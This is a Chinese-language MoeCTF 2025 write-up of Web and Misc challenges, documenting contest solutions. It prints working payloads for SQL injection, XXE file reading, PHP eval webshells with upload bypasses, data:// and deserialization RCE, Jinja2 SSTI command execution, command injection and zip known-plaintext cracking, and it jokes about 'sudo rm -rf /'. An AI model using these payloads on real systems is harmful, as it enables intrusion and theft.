MoeCTF 2025 - WriteUp

文章发布时间:

最后更新时间:

MoeCTF 2025 - WriteUp

本人参与了 MoeCTF 2025 中的 Web 板块和 Misc 板块。由于本人在此之前几乎没有任何 Advanced 的计算机知识,只能在一边询问 deepseek 等生成式人工智能,一边查询许多专业知识中摸爬滚打的前进。

现在是 2025 年 9 月 23 日的凌晨 1:01 。正在 C 楼的我仍然希望着我能加入 XDSEC ,仍然希望着自己能在计算机,网络安全和 CTF 领域大展身手。但至少这是我的美好憧憬。

本文件同时作为提交的 Writeup 和个人笔记。有未尽之处实属抱歉,因为我能在排行榜中取得名次多亏了 d 哥神力。

从 0 开始的 CTF 生活 // By Patricia Of End

Web

Web 其实是我花了最大精力的部分,它与我的专业有一定相关性,我也在里面学到了很多知识,关于攻击、注入等。

以及 Kali 用得好,牢饭吃到饱。

再次向所有 Web 方向的出题人和回答我很多无营养的 Hammer@fifker@凌六菌 致以真诚的感谢。

买的 PHP 从入门到精通在路上了。

0 Web入门指北

JSFuck 。执行得到 flag

01 第一章 神秘的手镯

按一下神奇的 F12 ,找一找得到 flag

02 第二章 初识金曦玄轨

注意到网站中有模糊的字体,“前往/golden_trail看看”。

访问 localhost:port/golden_trail ,利用 Burp Suite 抓包,在 Response 中找到 Head :

X-Jinxi-Secret: moectf{0bs3rv3_Th3_Gold3n_traiL}

得到 flag

03 第三章 问剑石!篡天改命!

按下按钮,抓个包。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /test_talent?level=B HTTP/1.1
Host: 127.0.0.1:61490
Content-Length: 24
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Not=A?Brand";v="24", "Chromium";v="140"
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: */*
Origin: http://127.0.0.1:61490
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:61490/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"manifestation":"none"}

根据题目要求,更改 level 和 manifestation ,得到 flag

04 第四章 金曦破禁与七绝傀儡阵

本题由七个小题组成,得到的玉简碎片如下:

1
bW9lY3Rme0MwbjZyNDd1MTQ3MTBuNV95MHVyX2g3N1BfbDN2M2xfMTVfcjM0bGx5X2gxOWghfQ==

易知其为 base64 加密。经过 base64 解密即为 flag

05 第五章 打上门来!

访问 ../../ 查看根目录,访问 ../../flag 得到 flag

06 第六章 藏经禁制?玄机初探!

本题为 SQL 注入。在用户名或密码处输入:

1
PatriciaOfEnd' OR '1'='1'-- 

OR 两端的任何语句为真,则整体为真。容易知道 1=1,点击登录得到 flag

07 第七章 灵蛛探穴与阴阳双生符

访问 localhost:port/robots.txt ,得到如下内容:

1
2
User-agent: *
Disallow: /flag.php

访问 flag.php ,得到如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
$flag = getenv('FLAG');

$a = $_GET["a"] ?? "";
$b = $_GET["b"] ?? "";

if($a == $b){
die("error 1");
}

if(md5($a) != md5($b)){
die("error 2");
}

echo $flag; error 1

搜索有关信息可得,该 php 获取 GET 语句的两个参数 a 和 b 。当且仅当参数 a 与 b 的内容不相等md5 相等时可以得到 flag 。

显然获得这样的两个 a 和 b 是天方夜谭的。但我们注意到这里用到的是 != 即松散比较,而非 !== 即严格比较。我们知道,如果两个 MD5 Hash 以 “0e” 开头,且后面全是数字,则 PHP 会将其视为科学计数法的数字( 0 的指数),因此会判断为相等。

我们让生成式人工智能生成符合要求的两个值来当作 Payload ,得到 Payload :

1
localhost:port/flag.php?a=QNKCDZO&b=240610708

得到 flagflag 也提示 MD5 并不安全。

此外,本题的 $flag 是从环境变量获取的,侧面反映出出题人非常喜欢把 flag 藏在环境变量的特点,为第九题埋下了伏笔。

08 第八章 天衍真言,星图显圣

在 Kali Linux 环境中,利用

1
sqlmap --wizard

根据提示输入网址,按一些有的没的的 123 即可爆破得到本题 flag

轮椅太好用了你们知道吗

09 第九章 星墟禁制·天机问路

本题的环境给出了一个网页,里面有一个输入框。观察回显和输入框内容提示可得,输入的文本(网址)会被作为一个 nslookup 命令的指定的主机。

由观察和询问、类比思考得知,如果在后面加上 ‘;’ 和其他的命令(例如 ls ),回显就会变为后者的执行结果。

因此我们尝试使用 find 搜索文件名包含 flag 的字段,但是此尝试以失败告终。

然后我们想到了关于本题目的题设(修仙玄幻小说)。于是我们试着搜索文件名包含 star, realname, stardomain 之类的神秘文件名,依旧以失败告终。

于是我们尝试用更低效率的方法,即 tree 列出根目录下的所有文件,然后依次寻找,但由于效率实在太低遗憾离场。

此时我们想到了搜索文件内容包含 moectf{} 的(疑似)flag 文件,但是这样的命令用时太长,超过了 Timeout 。

最后,我们想到了 Linux 中 万物皆文件 的特殊性。虽然笔者本人并没有在之前接触过 Linux ,但是在一位神秘朋友的耳濡目染之下对此深有了解。是的,就是 sudo rm -rf /

于是,在 deepseek 的帮助下,我们有如下命令:

1
{ env; set; ps aux; history; dmesg; } | grep -i moectf

最终,我们成功地在环境变量下找到了 flag

题目作者似乎很喜欢把 flag 藏在环境变量内。

10 第十章 天机符阵

输入任意内容后观察到报错,输入 <root> </root> 观察到报错信息消失。

观察回显形式和题目内容可知从输入框输入 HTML 代码,然后后端会用 DOMDocument::loadXML() 来解析输入。

观察下方推演结果,尝试输入:

1
2
3
4
5
<root>
<阵枢>111</阵枢>
<解析>222</解析>
<输出>333</输出>
</root>

得到回显如下:

1
2
3
<阵枢>引魂玉</阵枢>
<解析>222</解析>
<输出>333</输出>

容易知道“解析”和“输出”中的内容不为静态。

尝试以下 Payload :

1
2
3
4
<!DOCTYPE 解析 [<!ENTITY flag SYSTEM "file:///etc/passwd">]>
<root>
<解析>&flag;</解析>
</root>

得到回显如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<阵枢>引魂玉</阵枢>
<解析>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
</解析>
<输出>未定义</输出>

文件读取成功。因此我们可以直接读取 flag.txt 的内容。 Payload 如下:

1
2
3
4
5

<!DOCTYPE 解析 [<!ENTITY flag SYSTEM "file:///var/www/html/flag.txt">]>
<root>
<解析>&flag;</解析>
</root>

得到回显如下:

1
2
3
<阵枢>引魂玉</阵枢>
<解析>flag:moectf{G00d_7o6_4nD_XX3_Unl0ck_St4r_S34l}</解析>
<输出>未定义</输出>

得到 flag

11 第十一章 千机变·破妄之眼

使用一个 Python 脚本遍历五个参数 m, n, o, p, q 的值,容易寻找到 localhost:port/find.php

观察到 find.php 为一个文件浏览器,观察到相同目录下有一个文件 flag.php 。

尝试打开它,发现以下内容:

1
flag就在这了,看不到吗,是老弟境界不够吧

啊我草出题人怎么这么坏啊

想来出题人没有骗人, flag 就在此处(的注释中),只不过需要一些小小的技巧来看到它。

我们使用 php://filter 这一流过滤器,采用 convert.base64-encode 将其转化为 base64 加密过后的内容输出,再使用 resource=./flag.php 指定读取的内容即 flag.php 。

Payload 如下;

1
localhost:port/find.php?file=php://filter/convert.base64-encode/resource=./flag.php

看到玉简内容:

1
PD9waHANCmVjaG8gImZsYWflsLHlnKjov5nkuobvvIznnIvkuI3liLDlkJfvvIzmmK/ogIHlvJ/looPnlYzkuI3lpJ/lkKciOw0KLy9tb2VjdGZ7OGU0MDFlMGUtNDMyMS0zYWU5LTM3YTYtMWM3YzI0NmQ1MzE3fQ==

解码得到以下内容:

1
2
3
<?php
echo "flag就在这了,看不到吗,是老弟境界不够吧";
//moectf{8e401e0e-4321-3ae9-37a6-1c7c246d5317}

得到 flag

12 第十二章 玉魄玄关·破妄

下载并安装蚁剑 AntSword ,使用其连接到 localhost:port ,查看 index.php 得出密码为 cmd 。
连接到 index.php ,在终端中通过 ls, cat 等命令得到 flag

13 第十三章 通幽关·灵纹诡影

创建一个 1.php 文件,里面为 php 一句话木马,但文件开头为 FF D8 FF 。

上传后使用 AntSword 连接到该文件,密码为 cmd 。

1
2
3
4
(FF D8 FF)
<?php
@eval($_POST["cmd"]);
?>

容易得到 flag

14 第十四章 御神关·补天玉碑

本题中禁止上传.php, .php5, .jsp, .asp等邪道术法,但可以更改 .htaccess 文件。
上传一个新的 .htaccess 文件来使得 .jpg 文件被当作 .php 文件解析。

1
AddType application/x-httpd-php .jpg

然后上传 shell.jpg ,其内容为 PHP 一句话木马。

1
2
3
<?php
@eval($_POST["cmd"]);
?>

上传后使用 AntSword 连接到该文件,密码为 cmd 。

容易得到 flag

15 第十五章 归真关·竞时净魔

查看本题网站,发现可以上传文件,仅接受 .jpg, .gif, .png 文件,无文件头校验,且会在后端随即更改文件名。

尝试文件包含漏洞,发现无法更改 .htaccess 文件,由于服务器端文件静态传回,也无法利用如 ?include=, ?file= 之类的参数包含上传的 jpg 文件中的 Webshell。由于无法找到做题思路,在如何使用文件包含漏洞卡了两天左右后发了一个 hammer

hammer 得到本题应该采用条件竞争漏洞,即上传的文件会在极短时间内存在于服务器端。如在此时访问,则有概率可以传回结果。原来竞时净魔是这个意思是吧

重复尝试访问 shell.php 的 Python 代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests


url = "http://127.0.0.1:55403/uploads/shell.php"

while True:

try:
response = requests.get(url)
if response.status_code == 200:
print("Response:")
print(response.text)
except:
quit

同时利用 Burp Suite 的 Intruder 进行攻击,Payload 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
POST /upload.php HTTP/1.1
Host: 127.0.0.1:55403
Content-Length: 362
Cache-Control: max-age=0
sec-ch-ua: "Not=A?Brand";v="24", "Chromium";v="140"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Origin: http://127.0.0.1:55403
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryK52QCH1xXRmlP8hj
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:55403/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive




------WebKitFormBoundaryK52QCH1xXRmlP8hj
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: application/octet-stream

<?php

system ('ls /')

?>

------WebKitFormBoundaryK52QCH1xXRmlP8hj
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryK52QCH1xXRmlP8hj--

得到服务器根目录文件列表后同理使用 cat /flag 得到 flag

16 第十六章 昆仑星途

下载 source.zip ,观察 entrypoint.sh 文件可得,flag文件由该脚本生成,存储在根目录下,文件名随机(如 /flag-{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}.txt)。

再次观察 php.ini ,得知 allow_url_includeallow_url_fopen 均为 On

因此,我们可以使用data://协议来执行任意 PHP 代码。

采用如下 Payload :

1
localhost:port/?file=data://text/plain,<?php system('ls /'); exit; ?>

得到如下回显:

1
bin boot dev entrypoint.sh etc flag-Ywg6TCwf3G2GT4YelKj47JAuq0bdIC.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

看到随机生成的 flag 文件名。再用

1
localhost:port/?file=data://text/plain,<?php system('cat /flag-Ywg6TCwf3G2GT4YelKj47JAuq0bdIC.txt'); exit; ?>

得到 flag

17 第十七章 星骸迷阵·神念重构

观察到 index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);

class A {
public $a;
function __destruct() {
eval($this->a);
}
}

if(isset($_GET['a'])) {
unserialize($_GET['a']);
}

需要生成一个序列化的 A 对象,其中 $a 属性包含 PHP 代码来读取 flag 文件。

Payload 如下:

1
O:1:"A":1:{s:1:"a";s:15:"system('ls /');";}

得到根目录下文件列表后,利用 cat /flag 获得 flag 。 Payload 如下:

1
O:1:"A":1:{s:1:"a";s:20:"system('cat /flag');";}

得到 flag

18 第十八章 万卷诡阁·功法连环

观察到 index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
highlight_file(__FILE__);

class PersonA {
private $name;
function __wakeup() {
$name=$this->name;
$name->work();
}
}

class PersonB {
public $name;
function work(){
$name=$this->name;
eval($name);
}

}

if(isset($_GET['person'])) {
unserialize($_GET['person']);
}

我们需要构造一个序列化的 PHP 对象,利用代码中的反序列化漏洞。

创建一个 PersonA 对象,其私有属性 $name 设置为一个 PersonB 对象,而 PersonB 对象的公共属性 $name 设置为字符串 system(“ls /“);。

当反序列化时, PersonA 的 __wakeup 方法会调用 PersonB 的 work 方法,从而执行 eval(system(“ls /“);)。

Payload 如下:

1
O:7:"PersonA":1:{s:13:"\0PersonA\0name";O:7:"PersonB":1:{s:4:"name";s:15:"system("ls /");";}}

同理利用 cat /flag 最终得到 flag ,此处不再赘述。

20 第二十章 幽冥血海·幻语心魔

观察 app.py 得到

1
<div id="result-content"><div class='login-success'>欢迎: {username}</div></div>

username 的值会直接返回。

查找有关资料和询问生成式人工智能得知由于 Flask 使用了 Jinja2 模板引擎, Jinja2 允许在模板中执行有限的 Python 表达式。当用户输入 {{ ... }} 包裹的表达式时, Jinja2 会执行其中的代码。

尝试如下 Payload :

1
localhost:port/?username={{7*7}}&password=1

得到 Welcome: 49

于是构建 Payload 如下:

1
/?username={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()") }}{% endif %}{% endfor %}&password=1

这个Payload通过循环遍历所有子类,找到名为 catch_warnings 的类。

c.__init__.__globals__ 包含了该类的初始化函数所在模块的全局变量。

从 __globals__ 中获取 __builtins__ 模块,它包含了内建函数如 eval。

使用 eval 函数执行 Python 代码:__import__(‘os’).popen(‘ls /‘).read() ,这相当于在系统上执行 ls / 命令并读取输出。

同理使用 cat /flag 得到 flag

这是…Webshell?

本题利用PHP的字符串异或运算和变量变量特性来动态构造代码,绕过对字母数字字符的过滤。

Payload 如下:

1
localhost:port/?shell=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=system&__=ls%20/

$_="{{{"^"?<>/";` 中,^运算符用于对两个字符串进行按位异或操作。异或操作基于每个字符的 ASCII 值进行。

最后整个表达式变为 $_GET['_']($_GET['__']),其中 _ 和 __ 为我们提交的变量。

综合起来得到 system ls /

同理也可以构建 Payload 如下:

1
localhost:port?shell=$_=%22`{{{%22^%22?%3C%3E/%22;${$_}[_](${$_}[__]);&_=system&__=cat%20/flag.txt

得到 flag

这是…Webshell?_revenge

本题要求提交的 Webshell 长度不超过 30 位,且不包含字母、数字、下划线和 $ 。题目的环境为 PHP5

这就代表着变量被禁用,且我们需要通过某种明智的方法来达成题目要求。

查找互联网后,我们找到一篇完美的 WriteUp :

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

该 WriteUp 中提出了一种巧妙的方法,即利用 .(file) 来执行文件,同时利用通配符来访问由 POST 请求上传的临时文件。

由于仅临时文件目录可能包含大写字母,使用 [@-[] 来匹配大写字母,得到 Payload :

1
?><?=`. /???/????????[@-[]`;?>

前一半用于闭合 PHP 语句,后一半为“执行存放于 /tmp/php****** ,其中最后一位为大写字母下的文件”。多次尝试,当随机生成的临时文件目录最后一位为大写时,即可执行任意命令。

构建 Request 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /?shell=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?> HTTP/1.1
Host: 127.0.0.1:59710
Content-Type:multipart/form-data;boundary=--------11111
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 108

----------11111
Content-Disposition:form-data;name="file";filename="11111.txt"


ls /
----------11111--

利用 Burp Suite 发包,得到根目录下所有文件名。 Response 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
app
bin
dev
entrypoint.sh
etc
flag
home
lib
media
mnt
proc
root
run
sbin
srv
sys
tmp
usr
var

进而通过 cat /flag 得到 flag

01 第一章 神秘的手镯_revenge

本题的 Javascript 文件被混淆过了。

我们通过在 notepad 中选中一万个字符再拖动到输入框内然后点击确定抓包发现本题通过 POST 方法提交“万言咒”的内容,并得到 X-Special-Header 的值是 magic 。

负载的内容为 content ,其值就是万言咒。

hammer 得知要注意备份文件,访问根目录下的 wanyanzhou.txt.bak 得到万言咒的备份文件。

用 Python 的 Requests 库重复提交该文件 500 次得到 flag

Moe笑传之猜猜爆

观察 main.js ,发现如下内容:

1
2
// 猜对后请求flag
fetch('/flag', {method: 'POST'})

注意到本题利用 POST 方法获取 flag ,目标地址是 /flag 。

利用 Burp Suite 发送请求包,在 Response 中得到 flag

当然你也可以有 1/10000 的几率直接光明正大地得到 flag !!

!!!游戏结束!!!

你刚才猜低了!

摸金偶遇FLAG,拼尽全力难战胜

本题流程解析如下:

  • 用户端通过 GET 发送请求包到 /get_challenge?count=9 开始吃电脑
  • 服务器端通过 Response 返回一个 token 和 9 位数字。
  • 用户端通过 POST 发送请求包到 /verify 进行结果校验。(推测前后端均有时间校验,要在 3 秒内完成。)
  • 服务器端验证通过,在 Response 中得到 flag
  • 两次请求会使用同一个会话。

构建 Python 代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import json
import time
import base64
import struct

# 创建 Session 对象
session = requests.Session()

get_url = "http://localhost:port/get_challenge?count=9"
post_url = "http://localhost:port/verify"

# 使用 Session 发送 GET 请求
get_response = session.get(get_url)


data = get_response.json()
numbers = data["numbers"]
myToken = data["token"]

post_data = {
"answers": numbers,
"token": myToken
}

headers = {"Content-Type": "application/json"}
# 使用 Session 发送 POST 请求
post_response = session.post(post_url, json=post_data, headers=headers)
print("POST response status:", post_response.status_code)
print("POST response content:", post_response.text)

得到如下回显:

1
2
POST response status: 200
POST response content: {"correct":true,"flag":"moectf{87f7d10f-3018-9a06-6de4-8da206b3d473}","message":"Correct!"}

得到 flag

出大红了。什么大红?原来是红温

当然聪明的你也可以通过在 3 秒钟内破译出 9 个摩斯电码来光明正大地得到 flag 。无他唯手熟尔

Misc

做累了 Web 来点 Misc 放松一下吧。 并非放松

感谢在 Misc 方向中付出的出题人们!

2048_master

运行一次游戏程序后找到目录下一个文件:

layout.dat

打开后显示内容为类似

1
2
3
4
5
0 0 0 0 
0 0 0 0
0 0 1 1
0 0 0 0
xxxx(分数)

参考保存的游戏内容易得这是存档文件,每个位置上的数字是2的多少次方。参考游戏内提示文本(或将游戏本体解压挨个找文件),得到 Tip:当你合成16384的时候会有惊喜(?

全部数字改为14,按两下即可得到 flag

Pyjail 0

由题目提示:

得到 flag 的位置?你可以参考 Web 第十二章(

可知 flag 在环境变量下。

输入 /proc/1/environ 得到本题的 flag

Rush

本题得到一个电棍坐轮椅冲刺的 gif 文件。逐帧分析该文件得到某一帧内含有一个残缺的二维码。

正常解法应该是通过计算补全二维码,然而

在画图中补全左上角定位标记后,用功能强大的微信扫一扫即可自动修复二维码内容。

扫描二维码得到 flag

ez_LSB

如题,本体利用了 LSB 隐写
下载文件,用 StegSolve 打开,使用 Analyze - Data Extract ,选中 Bit Planes 的 0 复选框,得到如下内容:

1
2
3
4
54686520666c6167 2069733a20625739  The flag  is: bW9
6c5933526d653078 54516c3878633139 lY3Rme0x TQl8xc19
7a4d463878626e51 7a636d567a644446 zMF8xbnQ zcmVzdDF
755a79456863326f 3564325239000000 uZyEhc2o 5d2R9...

不难看出 flag 采用 base64 加密。解密后得到 flag

ez_锟斤拷????

由题目标题即可得到本体应该由于编码错误引起。

注意到生成式人工智能对此类错误敏感,直接喂给生成式人工智能便有机会得到答案。

易得原本为 UTF-8 编码的内容被用 GBK 错误的解码了。还原可以得到 flag

weird_photo

用十六进制编辑器打开后,由题目给出的提示注意 CRC ,检查 IHDR 部分发现宽和高参数算出来的 CRC 与给出的无法对上。

调整文件的高,得到图片中写着的 flag

Pyjail_1

搜索有关知识得到 Python 语言有一个 __builtins__ 函数,内置了如下内容:

1
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BaseExceptionGroup', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EncodingWarning', 'EnvironmentError', 'Exception', 'ExceptionGroup', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'PythonFinalizationError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'WindowsError', 'ZeroDivisionError', '_IncompleteInputError', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'aiter', 'all', 'anext', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']

里面就有我们要用到,而被此题筛选禁用的 open函数。

调用它,再使用 “op” + “en” 规避对 “open” 字符串的限制。

得到 Payload :

1
print(__builtins__.__dict__["op" + "en"]('/tmp/flag.txt').read())

在回显中得到 flag

SSTV

题如其名,慢扫描电视(Slow-scan television)是业余无线电爱好者的一种主要图片传输方法。

本题甚至用手机都可以解决。

使用 Robot36 ,解码音频文件得到 flag

SSTV也被用于在某些视频平台上传播一些图片,懂的都懂。

encrypted_pdf

在 Kali Linux 环境下,用字典攻击得到 pdf 文件的密码: qwe123

打开 pdf 文件后得到一个超绝可爱的 xdsec 娘以及 被 xdsec 娘吃掉的 flag

哈基米难没露躲

  • 本题本质上是一个 base64 加密和零宽字符隐写。

神人题目。下载附件得到哈基米语:

1
2
3
南北绿豆奈哪买噶奈哪买南北绿豆;欧莫季里噶奈哪买噶奈哦吗吉利。
<......>
奈诺娜美嘎南酷基压步酷欧莫季里;奈诺娜美嘎马美友喔奈诺娜美嘎;窝那没撸多诺哪呀喔喵欧莫季里;欧莫季里哩椰奶龙。

正常人看到肯定毫无头绪,但可惜我网上冲浪强度极高
通过哈基密语翻译:https://lhlnb.top/hajimi/base64

我们可以得到解密后的文本:

1
‌‌‌‌‍‬‍‌‌‌‌‍‬fakeflag‌‌‌‌‍‬‍‍‌‌‌‌‍‬‌‌‌‌‌‍‍‌‌‌‌‌‍‬‍‬{‌‌‌‌‍‬you‌‌‌‌‌‌‍‌‌‌‌‍‬‌‬‌‌‌‌‌‬‌‌‌‌‌‌‬‍‌‌‌‌‌‍‍‌‌‌‌‌‍‬‌‌‌‌‍‬‌‬‌‌‌‌‌‬‍‌‌‌‌‌‬‍‌‌‌‌‍‬‌‍‌‌‌‌‌‍‌_can_‌‌‌‌‌‌‬‌‌‌‌‌‌‌‌‌‌‌‬‍‌‌‌‌‌‍‌‌‌‌‌‌‌‍‌‌‌‌‌‌‌try‌‌‌‌‌‌‍‌‌‌‌‌‬‍‌‌‌‌‍‬‌‍‌‌‌‌‌‌‍_‌‌‌‌‍‬‌‬‌‌‌‌‍‬‍‌‌‌‌‌‌‬‍‌‌‌‌‌‍‬‌‌‌‌‌‍‍‌‌‌‌‍‬‌‬‌‌‌‌‍‬‍‍searching‌‌‌‌‌‌‌‌‌‌‌‌_text‌‌‌‌‌‍‬_‌‌‌‌‌‬‌‌‌‌‌‌‌‬‌‌‌‌‍‬‌‌‌‌‌‌‬‌‌‌‌‌‌‌‬‌‌‌‌‍‍Steganography}

折腾了半天居然是 fakeflag,然而其包含零宽字符隐写。解密可得到真正的 flag

Enchantment

解压得到一个 enchantment.pcapng 。

用 Wireshark 访问该文件,可以得到 upload.png 。

对附魔台上的文字(标准银河字母 Standard Galactic Alphabet )进行翻译,得到 flag

给我来点效率 4 耐久 3 时运 3 经验修补神镐。

MoeCTF 指导版

笔者在本题中的付出包括但不限于:

  • 使用 sqlmap 爆破得到一个疑似在 Web 方向出现过的 flag
  • 使用连点器真的点了一下午来点到 114514 次,随后被三个问题打到遗憾离场。

神人中的神人题目。坏透了这耄耋,笔者真的挂连点器挂了一下午去点那 114514 个小鱼干。感谢耄耋。

首个问题答案为 241410173 ,第二个为 241410156 。然后输入一系列疑似密码和恢复密钥,最终取得管理员权限。将页面反转后即可点按凸出来的 flag 按钮获得 flag确实简单易得。

万里挑一

不把自己的代码好好归档导致做完就找不见真是这个世界上最坏的习惯。

注意到密码来自于 10000 个压缩包中的一个里面的 pwd.txt 。

用 Python 提取这些密码并逐个尝试,找到正确的那个密码。

解压后得到 flag.zip ,发现其还有密码未知,且压缩算法是 ZipCrypto Store

检查文件列表得到 明文.exe 的提示,搜索互联网容易知道其可以采用 ZipCrypto 已知明文攻击。

bkcrack 工具,采用可执行文件的文件头:

1
4D 5A 90 00 03 00 00 00 04 00 00 00

作为已知明文进行攻击,得到密钥。

用密钥移除压缩文件的密码,得到 flag明文.exe

1
2
PS C:\Users\Patricia Of End\Desktop> .\明文.exe
Hello World!

写在后面

本人学到的很多知识都属于“学院派”,既有些空中楼阁,又只知其然而不知其所以然。但非常感谢参加 MoeCTF 2025 出题和维护的各位,让我在本次比赛中受益良多。

See You Next Game.